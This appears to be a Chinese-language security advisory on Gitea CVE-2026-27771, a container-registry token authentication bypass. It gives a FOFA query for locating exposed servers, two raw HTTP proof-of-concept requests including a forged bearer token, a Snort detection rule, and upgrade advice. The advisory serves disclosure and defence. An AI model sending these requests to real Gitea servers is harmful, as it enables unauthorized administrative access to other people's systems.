Gitea-CVE-2026-27771-权限绕过¶

Gitea-CVE-2026-27771-权限绕过，攻击者可绕过权限校验获取系统管理权限。

影响版本¶

Gitea < 1.26.2

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="Gitea"

POC/EXP：step1-生成有效token

GET /v2/token?service=container_registry&scope=* HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1

POC/EXP：step2-携带token进行验证

GET /v2/_catalog HTTP/1.1
Host: 127.0.0.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODE1NzYzNDIsIm5iZiI6MTc4MTQ4OTk0MiwiVXNlcklEIjotMX0.dNDc9JvxvrhxEoPlfV8JXKQPC-rMD-vLxvkq5Ebf6W0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"Gitea - Container Registry Token Auth Bypass (CVE-2026-27771)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/v2/token";
    http.uri; content:"service=container_registry";
    metadata:
        service http,
        affected_product "Gitea",
        vulnerability_type "Authentication Bypass / Privilege Escalation",
        cve "CVE-2026-27771",
        severity "high";
    classtype:policy-violation;
    sid:1000700;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。